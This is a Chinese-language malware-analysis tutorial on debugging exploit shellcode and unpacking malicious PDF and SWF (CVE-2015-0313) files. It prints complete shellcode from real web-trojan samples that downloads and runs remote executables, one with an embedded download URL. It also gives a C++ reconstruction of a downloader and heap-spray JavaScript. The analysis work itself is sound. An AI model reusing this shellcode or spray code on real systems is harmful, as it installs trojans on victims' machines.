脚本先锋系列第四章,也是最后一章。将介绍对Shellcode的调试,以及SWF、PDF漏洞的利用文件的简单处理过程。
下一部分预告:
IE安全系列:中流砥柱(I) — JScript 5 解释器处理基本类型、函数等的简单介绍
IE中使用的Javascript解析器经历了多年的磨练,终于在版本5处分成了两个大版本,5之后的9,二者的关联和对一些内容的处理方式的不同之处,这两篇中,第一篇将对Jscript 5.8引擎中的字处理、函数调用等做简单的介绍。
多年磨练之后,Jscript 9的性能得到了很大的提升,9和5处理起一些基本类型数据的区别会在这篇简要叙述,这篇会有和(I)类似的介绍,只不过是针对Charka的脚本流程的。 (这个成语,我想大概也能这么用吧……)
上一篇(V.2)中,我们留下了一个全篇使用XOR 0xE2加密的Shellcode,这篇中,我们将使用调试工具解密它。
escape 之后的SHELLCODE如下:
#!javascript %u0C0C%u6090%u1CEB%u4B5B%uC933%uB966%u03F8%u3B81%u0BFF%uE160%u850F%u0254%u0000%u3480%uE20B%uFAE2%u05EB%uDFE8%uFFFF%u0BFF%uE160%uE2E2%u86BD%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u8815%uBBED%uC00A%uE2E1%u72E2%u1A00%uD18A%uE2D0%u8AE2%u91B7%u9087%u69B6%uEEA4%u720A%uE2E0%u69E2%u880A%uBBE3%uE00A%uE2E1%u00E2%u8A1B%u8C8D%uE2E2%u978A%u8E90%uB68F%uF41D%u2267%uF197%u8D8A%uE28C%u8AE2%u9097%u8F8E%u69B6%uEEA4%u820A%uE2E0%u69E2%u880A%uBBE3%u300A%uE2E0%u00E2%u8A1B%uD18E%uE2D0%u918A%u878A%uB68E%uA469%u0AEE%uE0A3%uE2E2%u0A69%uE388%u0ABB%uE051%uE2E2%u1B00%u0E63%uE3E2%uE2E2%u3E69%u2163%uE262%uE2E2%uE288%uF888%u88B1%u1DE2%uA6B4%u22D1%u62A2%uE1DE%u97E2%u6B1B%u7264%uE2E2%u25E2%uE1E6%u83BE%u87CC%uA625%uE6E1%u879A%uE2E2%u2BD1%uB3B3%uB5B1%uD1B3%u6922%uA2A4%u0C0A%uE2E3%u61E2%uE21A%u67ED%uE37E%uE2E2%uE288%uE288%uE188%uE288%uE088%uE28A%uE2E2%uB122%uA469%u0AC6%uE32F%uE2E2%u1A61%uED1D%u9966%uE2E3%u6BE2%u82A4%uE288%u1DB2%uCAB4%uA46B%u6986%u7264%uE2E2%u25E2%uE1E6%u80BE%u87CC%uA625%uE6E1%u879A%uE2E2%uE288%uE288%uE088%uE288%uE288%uE28A%uE2E2%uB1A2%uA469%u0AC6%uE369%uE2E2%u1A61%uED1D%uDB66%uE2E3%u6BE2%u6664%uE2E2%u6BE2%u6E7C%uE2E2%u69E2%u82A4%uE288%uE288%uE288%uA469%uB282%uB41D%u25DA%u92A4%uE2E2%uE2E2%uA425%uE296%uE2E2%u63E2%uE225%uE2E0%uD1E2%u6939%u86BC%uE288%uA46F%uB292%uE28A%uE2E6%uB5E2%u941D%u1D82%uE6B4%u2BD1%uE25B%uE2E6%u62E2%uED9E%u771D%uEE96%u9E62%u1DED%u96E2%u62E7%uED96%u771D%u0900%u2169%uE2CF%uE2E6%u61E2%uE21A%uE19D%uBC6B%u8892%u6FE2%u96A4%u1DB2%u9294%u1DB5%u6654%uE2E2%u1DE2%uD2B4%u0963%uE6E2%uE2E2%u1961%u9DE2%u1D47%u8294%uB41D%u1DD6%u6654%uE2E2%u1DE2%uD6B4%u6469%uE272%uE2E2%u7C69%uE26E%uE2E2%uE625%uBEE1%uCC83%uB187%uB41D%u69CE%u6E5C%uE2E2%u69E2%u7264%uE2E2%u25E2%uE5E6%u80BE%u87CC%u0E63%uE3E2%uE2E2%u3E69%uE28A%uE2E3%uB1E2%uE28A%uE2E3%uB5E2%uE288%uE288%uB41D%u69FE%uD119%uD122%u6339%uE20E%uE2E0%u69E2%u612E%uB61A%uEA9F%uFE6B%u61E3%uE622%u1109%u2E69%u3B69%u2161%uD1F2%uB222%uB1B3%uB2B2%uB2B2%uB2B2%uB2B5%u69B2%uEAA4%u650A%uE2E2%u63E2%uFA26%uE2E6%u83E2%uA425%uE1F6%uE2E2%uD1E2%u692B%uC6DE%u0D61%u6194%uEA26%u2BD1%u051D%uE288%uB41D%u86F6%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u6B15%u86B4%uE688%u0ABB%uE241%uE2E2%u0072%u8A1A%uD0D1%uE2E2%uB78A%u8791%uB690%uE469%uF00A%uE2E2%u69E2%u880A%uBBE7%u660A%uE2E2%u00E2%uD11B%uB51D%uB41D%u62E6%u0ADA%uDA62%u970B%u63F3%uE79A%u7272%u7272%uEA96%u1D69%u69B7%u6F0E%uE7A2%u021D%uDA0A%uE2E2%u21E2%uDA62%u620A%u0BDA%uF397%u9A63%u72E7%u7272%u9672%u8A05%uE8EA%uE2E2%uA26F%u1DE7%u0A02%uE2F5%uE2E2%u0A21%uE2F3%uE2E2%uF35A%uE6E3%u2062%uE2EE%uE009%u21BA%u1B0A%u1D1D%uB91D%uE524%u6B5A%uE3BD%u2584%uE7A5%u021D%uB121%u3E69%u88B1%u8AA2%uF2E2%uE2E2%u69B5%uC2A4%u640A%u1D1D%uBA1D%uB321%u69B4%uDE97%u9669%u9ACC%u17E1%u69B4%uC294%u17E1%u2BD1%uA3AB%uE14F%uD127%uED39%uF25C%u34D8%uEA96%u2923%uE1E5%uA238%u1309%uFDD9%u0597%u69BC%uC6BC%u3FE1%u6984%uA9EE%uBC69%uE1FE%u693F%u69E6%u27E1%uBC49%u21BB%u9B0A%u1D1E%u501D%u0010%u5016%uEDD4%u12F1%u99AA%uD0DF%u7396%u67EE%u4D3D%u8159%u336B%uB3AD%u58A2%uE59D%uC070%uFC92%u8646%u710D%u06D0%u6C76%uE8F1%u9B4E%u04DB%u267A%uFD6F%uB596%uEF84%uA11D%u4E5C%u7A39%uF2E8%u621A%u4D34%u1978%uF7B1%u8A84%u9696%uD892%uCDCD%u8083%uCC8C%u8C86%uD291%uD7D5%uCCD7%u878C%uCD96%uCD86%u8686%uCC86%u9A87%uE287%uE2E2
将这些Shellcode放到EXE根部,组成一个EXE,见参考资料(1]附件。
警告 如果你直接解压这个程序,你的杀毒软件可能会报警。这是因为该Shellcode已经被多个杀毒软件作为特征入库。请在虚拟环境执行,或者暂时关闭杀毒软件。
CALL 405006
调用时,会将其下一条指令的地址压栈,因此 00405006
处的 POP EBX
其实获取到的就是下一条指令的地址。
之后 ECX = 0x3F8
的语句其实就是为了告诉下面的LOOP指令要循环多少 (0x3f8)
次,这也是加密后的字符串长度。
然后,下一句意义其实不大,只是为了确保要解密的内容对不对,
紧接着是一个JNZ指令,可以看到OllyDbg之前发生了解析错误。OD解析为了DB、TEST、DB三条不伦不类的数据+指令的结合,对比IDA的结果可以知道这里是一个JNZ,实际上跟着CMP,这里十有八九也是跳转指令。
选中三行,右键选择analysis - remove analysis from selection,这时就可以恢复正常的语句。
接下来的XOR+LOOP则就是经典的“加密/解密”,一大牛也戏称中国三大加密算法之一的异或解密。解密密钥很明显就是0xe2了。
在LOOP下一行下断点,可以得到解密后的内容,此时OD还是解析有误,我们手动选择 0x5033-0x3f8
左右的内容,重复remove analysis的过程即可得到基本正确的代码:
处理后:
4053AE
处仍然是一个CALL,会回到 40502C
处,上图中JMP的下一行。为什么这么做大家应该很容易理解,和之前一样, 4053AE
之后的一句很可能就是常量值了,而且 40502C
处也有 POP EDI
的语句。
由于之前我们remove analysis比较多,导致了后面的常量也被当作了代码,这个很容易就能发现,因为里面出现了大量的不明所以的代码:
右键中选择Analysis code即可重新分析这块:
我们假装什么都没看见,继续调试这段代码。
30、0c、1c、8,这些令人熟悉的数字(不记得了请看上篇最后),可以肯定的知道这里就是在获取某个函数地址,其实就是LoadLibrary了,这个肯定是各个Shellcode第一个要做的事情,要不然后续如何开展呢:)。
405369
的CALL即会获取所需的函数地址。比较字符串可能会用掉较多的空间,所以这里它采用了给函数名取HASH的方式:
即伪代码如下:
#!c++ DWORD dwHash; CHAR chFuncName; while(chFuncName = szWindowsAPIName++) { dwHash += chFuncName; _ROR(dwHash, 7); }
在函数名这种大概一个模块就几百个的东西里面,这个HASH算法还是可以做到粗略的准确的,
此例中,在这附近就是存着的他们想要拿到的函数的HASH,获取到函数地址之后会覆盖掉对应的Hash,可见空间用的还是比较紧凑的:
之后就是简单的函数跟踪了,有兴趣的话可以自己跟踪一下,之后该Shellcode的动作我直接写成C++代码了,供参考,获取函数地址的细节代码我就跳过不写了,不保证可编译,不过如果要编译的话简单修改应该就可以了:
#!c++ HMODULE hModule = LoadLibraryA(“User32”); GetAddressFromModule(hModule, “GetModuleHandleA”); //自己获取函数地址的函数,没用系统的GetProcAddress,估计为了省字符串的长度,这里事实上还是用的Hash,为了方便阅读这么写了 if(GetModuleHandleA(“urlmon”) == NULL) { hModule = LoadLibrary(“urlmon”); } GetAddressFromModule(hModule, “URLDownloadToFileA”); hModule = LoadLibraryA(“shell32”); GetAddressFromModule(hModule, “SHGetSpecialFolderPathA”); CHAR buffer[MAX_PATH]; SHGetSpecialFolderPathA(0, buffer, 0x1a, 0); //APPDATA strcat(buffer + strlen(buffer), “/a.exe”); do { if (URLDownloadToFileA(0, MALICIOUS_URL, buffer, 0, 0) == S_OK) { //这个URL访问不了了,所以必然不是S_OK,执行完以后手动置EAX为0,然后随便拷贝个EXE去%appdata%/a.exe吧,要不然后面调试起来会比较蛋疼 HANDLE hFile = CreateFileA(buffer, 0xc0000000, 2, 0, 3, 0, 0 );
if(hFile != INVALID_HANDLE) { DWORD dwFileSizeLo = GetFileSize(hFile, 0); CHAR buffer_otherone[1024]; buffer[strlen(buffer) - 5] = ‘b’; //实际上操作语句不是这样,不过最后结果一样,简单写好了 HANDLE hFile2 = CreateFileA(buffer, 0x40000000, 0, 0, 2, 0, 0); if(hFile2 == INVALID_HANDLE) break; SetFilePointer(hFile, 0, NULL, FILE_BEGIN); DWORD dwPos = 0; while(dwPos < dwFileSizeLo) { ReadFile(hFile, buffer_otherone, 1024, dwBytesRead, NULL); dwPos += 1024; for(int i=0; i<1024; ++i) { if(buffer_otherone[i] != 0 && buffer_otherone[i] != 0x95) buffer_otherone[i] ^= 0x95; } //事实上木马下载回来的文件是0x95异或过的,只是为了防杀,所以这里为了保证它能正常运行,还需要这一步给它解回来 WriteFile(hFile2, buffer_otherone, 1024, 0, 0); } CloseHandle(hFile); CloseHandle(hFile2); buffer[strlen(buffer) - 5] = ‘a’; //实际上操作语句不是这样,不过最后结果一样,简单写好了 DeleteFileA(buffer); buffer[strlen(buffer) - 5] = ‘b’; WCHAR bufferw[256]; MultiByteToWideChar(buffer, CP_ACP, 0, buffer, 256, bufferw, 256); CreateProcessInternalW(0,0, bufferw, 0, 0, 0, 0); //启动木马 } } }while(0); ExitProcess(0);
MALICIOUS_URL就这玩意,不贴上来了,要不白送别人一个友情链接多不好:
Adobe PDF Reader是一个全球内都广泛使用的工具,而它又可以在IE中实例化,因此,PDF漏洞也是攻击者热衷于挖掘和利用的一个重要部分,而PDF中也允许Javascript的执行,这就更加剧了其安全问题,本节将简单介绍如何提取PDF中的Shellcode。
关于PDF结构的细节不在这里过多介绍,以下是一个PDF的很常见的形式,PDF有明显的“节”(x x obj)和“节”信息(用双尖括号包围),而为了控制PDF的大小,PDF是支持多种压缩方式的,一种方式是zlib算法的压缩,这种方式压缩的节显示如下,可以从FlateDecode来区分出来。
在stream-endstream之间的就是压缩后的内容,还有个特征是这段内容的第一个字是“x”。
当然,PDF也是支持明文存放的甚至于直接内部执行JS,例如:
16 0 obj - endobj
中间的就是js脚本。
针对PDF的解析可以参考我之前放出来的Redoce工具,可以针对性地对压缩过的部分进行解压,例如图中这节压缩内容解压后明显是垃圾信息,因此可以跳过:
附件中的例子有恶意代码的部分是明文存放的,因此要对它的代码进行阅读和Shellcode的抽取应该是相当简单的。
还有一点是PDF中的JS并不是多“标准”,有个明显的特征是它的内容会经过一层编码,例如上图/全部被编码成了/,工具可以做简单清理,如上图所示。
其实清理之后,留下来了很多/”,虽然不会产生语法错误,不过看起来还是很别扭,也可以手动再把这些/都删掉。还有开头的例如(?function ...需要手动删除成(function ...。
清理完的代码见附件malicious_VI.rar 的 pdf.js.txt。
简单地阅读一下代码,虽说一眼就能看出来awn5fmmtY 这个变量就是Shellcode,和、至少是它的绝大部分,但是还是看一看吧:
一番阅读之后,可以发现这里使用了 app[’eval’](xxxx)
,正如你所见,不是他替换了什么东西,而是PDF中的eval函数实际上是属于app对象的,而不是window对象。具体可以参照参考资料[2],Adobe的开发资料。
最终执行的就是这么一段
为了不让图太大,我把字号缩小了,具体可参照附件。
这一段中,采用了 awn5fmmtY = unescape(awn5fmmtY.join(""));
的方式将这个Array输出成一个字符串。然后就是简单的堆喷过程,
我们手动改一下变量就能看的很清楚了:
#!c++ var fK2iJohU = 0x400000; var mTcRGdIAFp = awn5fmmtY.length * 2; var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38); var sR4ZJ8w7ci = unescape("%u9090%u9090"); sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL); var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU; for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++) { rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY; }
改为方便人阅读的代码就是:
#!c++ var arr = new Array(); var blockSize = 0x400000; var shellcodeSize = shellcode.length * 2; var spraySize = blockSize - (shellcodeSize + 0x38); var nops = unescape("%u9090%u9090"); nops = extendStrForXXTimes(nops, spraySize); var sprayTarget = 0x0c0c0c0c; var fillTimes = (sprayTarget - 0x400000) / blockSize; for(var i = 0; i < fillTimes; i++) { arr[i] = nops + shellcode; }
如何,上述代码是否非常眼熟?对了,随便找一个堆喷的js代码都是如此。这个PDF实际上是利用了PDF的 app.doc.Collab.getIcon()
函数的溢出漏洞,该函数没有对文件名长度进行检查,直接拷贝进了缓冲区,是一个经典的溢出漏洞。利用时文件名需要加上特定的表示,例如下图中N.doc,否则无法走入有漏洞的部分。Adobe JavaScript中使用堆喷在当时效果非常稳定:
具体细节网上有分析过程,在此不提了,Shellcode可以简单看一下。
提取出来的shellcode如下:
#!c++ %u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7500%u6470%u7461%u2e65%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u692f%u6b6e%u616b%u2e6b%u6e63%u652f%u746e%u7265%u752f%u6470%u7461%u2e65%u6870%u3f70%u6469%u333d%u7226%u7465%u6f3d%u006b%u9000
通过简单处理可以看到就是简单的 URLDownloadToFile
,由于这里 %u0000
不会影响流程,所以支持带0的shellcode使得它的体积缩小了很多。简单调试一下吧。将shellcode附着到exe之后(附件malicious2.exe.txt)。
代码十分简单:
首先PUSHAD PUSHFD,然后使用POP EBP,SUB EBP,0D来构造一个栈帧。
接着又是常见的fs:30、0c、1c、8、34这些常见的值,后面的内容不言自明,我们可以锻炼一下静态阅读,具体动作如下:
也即跟着查找GetTempPathA(ebp+15e)等等函数的地址并保存在ebp+14e处。
然后,还是上图,就可以知道0x405053处的call实际上就是call了GetTempPathA,在此获得临时目录位置,接下来
此处 LoadLibrary EBP+245
处的内容( URLMON.dll
),然后并 GetProcAddress
获取EBP+250处的函数地址( URLDownloadToFileA
),并最终调用 URLDownloadToFileA
,下载的文件是 EBP+278
处的URL,保存到 EBP+15E
处( %temp%/update.exe
):
并在此调用EBP+15E的函数(WinExec)执行下载回来的程序:
然后再次获取Temp目录的地址,重复之前的步骤,只不过下载到的是 %temp%/crash.php
,并再次调用WinExec执行, POPFD POPAD
,退出程序。
这个Shellcode的主要作用就是下载者了,因此到这里也算是完美的完成了任务了。让我们再看看它的亲戚:SWF。
如上一节所说,SWF凭借着目前网上最为流行的多媒体互动程序Adobe Flash Player,SWF的用户量只会比难兄难弟PDF的大而不会小,而SWF的漏洞高发,导致了SWF也称为了漏洞利用者心目中的明星。针对SWF的反编译,可以依赖于Eltima Software的Flash Decompiler Trillix,或者其他能弄成AS文件的都可以。
单从SWF自身来说,它的压缩模式常见的两种,文件头是CWS的表示使用了压缩,也是zlib算法,FWS的表示没有压缩过。
我的工具中也提供了对SWF的自动解压,由于有些网马会把URL明文存放,所以处理后还是可以方便病毒研究者来抓出URL的,如下图:
接下来可以阅读SWF的Action Script了,与之相关的书籍可以参考《ActionScript 3.0 Bible》,这是一本介绍十分详细的工具书,或者其他你手头可以让你迅速看懂AS的资料也可。
附件中malicous3.swf.txt是CVE-2015-0313 的利用文件,该漏洞是Flash Player的一个UAF问题,具体细节网上有很多了,这里我们还是针对SWF到AS的过程做一些解释:
使用Flash Decompiler Trillix载入该swf文件。
可以看到AS脚本中有三个类,这个SWF文件抓取自使用AEK ,AEK提供给别人用的东西都是高度混淆的,这里面也不例外,可见各个类的名字就已经被混淆过了。
一个小问题是AEK是漏洞工具包,或者白话点就是卖给别人用来坑其他人的软件,不是漏洞名。国内的一个软件曾经提示了AEK是漏洞,其实是不正确的,具体名字我也就不截图了:
AS3.0中会使用Worker对象,Worker对象间也可以共享对象[3],漏洞代码通过触发在主执行线程和worker间共享的MessageChannel属性中的漏洞来执行。主要是三步:
ByteArray::Clear
清空它。Clear之后,domainMemory并没有将内存置空,从而导致了UAF的存在。 然后,让我们先阅读一下SWF代码:
#!c++ In &.as: private static var 5:&; 5 = new &();
这里的逻辑是如此连上的,所以“5”可以看作是class “&”的实例。
由于 class &::&()
中设置了 this.4 = "BAPO6SgZH....”;
因此,
函数7()中事实上loc1的值就是经过函数’()处理后的this.4后面这一串字符了,
函数’()的定义如下:
不过这么看实在是太痛苦了,而且由于这个混淆使得Adobe Flash Professional CS5的着色也发生了混乱,因此让我们手动替换一下里面的值。
首先简单阅读一下’(),知道它是某种解密函数,因此我直接把它换成decode();
然后针对常量也做类似的简单阅读-替换:
最终得到:
这样代码看起来就要方便得多了,不用在想这一堆乱七八糟的代号是什么了。使用检查语法错误功能,检查完毕后就可以执行这段代码让它自己吐处理结果了。
新建一个AS工程,把脚本粘进去。
然后在对应位置加上trace,decode返回的是类BASE64解后的结果,该SWF在这段代码:
#!c++ while (i < myDecodedStr.length) { n = n + 1 & 255; loc6 = (myByteArray[n] & 255) + loc6 & 255; loc10 = myByteArray[n]; myByteArray[n] = myByteArray[loc6]; myByteArray[loc6] = loc10; loc9 = (myByteArray[n] & 255) + (myByteArray[loc6] & 255) & 255; myDecodedStr[i] = myDecodedStr[i] ^ myByteArray[loc9]; ++i; }
运行完之后输出的内容就是解密后的了,其实仔细看的话它就是个RC4。
Ctrl+Enter后卡了小一阵子,运行得到结果:
结果输出又是一个SWF文件,真是让人头疼的事情,使用FileReference类即可( import flash.net.FileReference;
)
然后保存后的就是解密后的内容。对这个swf再做一个分析,如果Flash Decompiler一分析那个SWF就崩溃的话,这个时候可以换个其他类似工具,例如FFD
打开后可以看到类名点点杠杠的好不欢乐,AEK的加密已经丧心病狂到把它认为所有有可能威胁到自己的代码全部RC4加密放到了二进制数据中,使用时现场取出解压。
眼睛都看花了,阅读过程太过痛苦,就贴一下具体内容吧,
这里的逻辑是:如果没解密的话解一下( if (!_a_-___-) _a-_—()
),然后把index异或处理一下,异或的值就是 a —。
这个是它的RC4加密的Key,2组密钥,16字节一组。
最终此处做ROP并且使用Shellcode,参考资料[5]也是解了类似的SWF文件,其中的RC4解密代码大家可以借鉴一用。
解出来的Shellcode使用的代码很简单,和上一节类似,会用WinHTTP的相关函数访问网址并用XXTEA解密:
如果是Shellcode ,直接执行;
如果是DLL,下载并调用 regsvr32 /s
来注册(其实也就是启动)它。
Shellcode篇章至此结束,限于篇幅和个人能力,肯定还是有很多覆盖不到的地方,一些实战内容将在后续章节覆盖,同时,参考资料[4]中也有大量的Shellcode可供调试。
[1]附件57 请关闭杀毒软件并在虚拟环境调试,网马的Shellcode比较老,EXE调试环境推荐Windows XP SP3。
[2] http://www.adobe.com/devnet/acrobat/javascript.html
[3] Communicating between workers http://help.adobe.com/en_US/as3/dev/WS2f73111e7a180bd0-5856a8af1390d64d08c-7ffe.html
[4] http://www.expl0it-db.com/
[5] http://www.cnblogs.com/Lamboy/p/4278066.html